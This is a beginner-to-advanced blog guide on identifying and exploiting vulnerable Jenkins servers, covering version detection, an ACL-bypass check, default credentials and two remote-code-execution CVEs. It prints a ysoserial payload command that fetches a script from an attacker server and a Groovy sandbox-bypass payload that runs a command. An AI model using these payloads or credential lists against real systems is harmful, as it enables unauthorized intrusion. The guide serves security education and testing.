🚨 Jenkins Security Guide: Common Bugs & Real-World Exploitation (Beginner to Advanced)

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👋 Hello folks, I’m Mann Sapariya — a security analyst and researcher.

I often come across misconfigured CI/CD tools while analyzing attack surfaces. Jenkins, in particular, is a goldmine when mismanaged. In this blog, I’m sharing field-tested knowledge on how to identify and exploit common Jenkins vulnerabilities—from beginner-level tricks to advanced exploitation techniques. Let’s dive in.

🔍 Introduction

Jenkins is one of the most widely used automation servers in DevOps environments. From CI/CD pipelines to large-scale infrastructure, it’s embedded deep in countless production systems. But with great power comes great attack surface.

In this blog, we’ll explore common Jenkins vulnerabilities—ranging from unauthenticated dashboards to remote code execution (RCE). Whether you're a budding bug bounty hunter or an experienced pentester, this guide is built to take you from beginner insights to advanced exploitation.

🧠 How to Identify a Jenkins Instance

Jenkins instances can often be identified by a simple response header:

X-Jenkins: 2.222

This reveals the version number—essential for checking known vulnerabilities and potential CVEs.

🔧 Enumeration & Recon Tips

1. Look for /script, /manage, and /user/admin/ paths.
2. Detect exposed dashboards—just visit the main domain, e.g., http://target.com/jenkins/
3. Default paths and headers:
   

   X-Jenkins

   Server: Jetty

4. Check if the dashboard is open to anonymous users.

💥 Common Vulnerabilities & Exploits

1. 🧨 Remote Code Execution (Deserialization – CVE-2015-8103)

Found in Jenkins 1.638 and older.

How to Exploit:

• Use ysoserial to generate the payload.

java -jar ysoserial-master.jar CommonsCollections1 'wget your-server.com/a.sh' > payload.out
python jenkins_rce.py <target_ip> <port> payload.out

👉 You can find exploit scripts at: pwn_jenkins

2. 🚪 ACL Bypass – CVE-2018-1000861

A critical issue in Jenkins < 2.150.1 where protected endpoints leak data.

Detect:

curl -k -4 -s <https://target.com/securityRealm/user/admin/search/index?q=a>

If it returns valid data despite requiring auth, it’s likely vulnerable.

3. 💣 Groovy Script RCE – CVE-2019-1003030

SecureGroovyScript's checkScript endpoint can be exploited for sandbox bypass.

Example Payload:

public class x {
  public x(){
    "ping -c 1 your-server.com".execute()
  }
}

Send via:

GET /securityRealm/user/admin/descriptorByName/.../checkScript?sandbox=true&value=...

💡 Remember to URL-encode the script.

🔓 Default Credentials

Jenkins setups are often misconfigured with weak or default credentials:

admin:admin

admin:password

root:root

Try these against /login or /securityRealm/login.

🕵️‍♂️ Unauthenticated Dashboards

If https://target.com/jenkins loads the full interface without a login page, you may have full access to job configs, plugin data, and more.

🧰 Additional Exploitation Tools

• Jenkins Enumeration Tool (use with caution)
• Nuclei Templates for Jenkins
• JenkinsScan

📚 Learning Tips for Bug Hunters

• Always look for version leaks.
• Try both authenticated and unauthenticated paths.
• Explore plugin endpoints—they often introduce new bugs.
• Look at crumbIssuer API—it helps in crafting POST requests.

🔐 Final Thoughts

Jenkins may not seem flashy at first glance, but it’s a treasure trove of vulnerabilities in the right context. From misconfigured dashboards to full RCE chains, its attack surface is both wide and deep.

This blog is meant to educate and spread awareness—not to encourage unethical behavior. Always test responsibly and report vulnerabilities through proper channels.

📎 References

• pwn_jenkins
• Orange Tsai’s Jenkins Exploit Series
• PacketStorm CVE-2019-1003030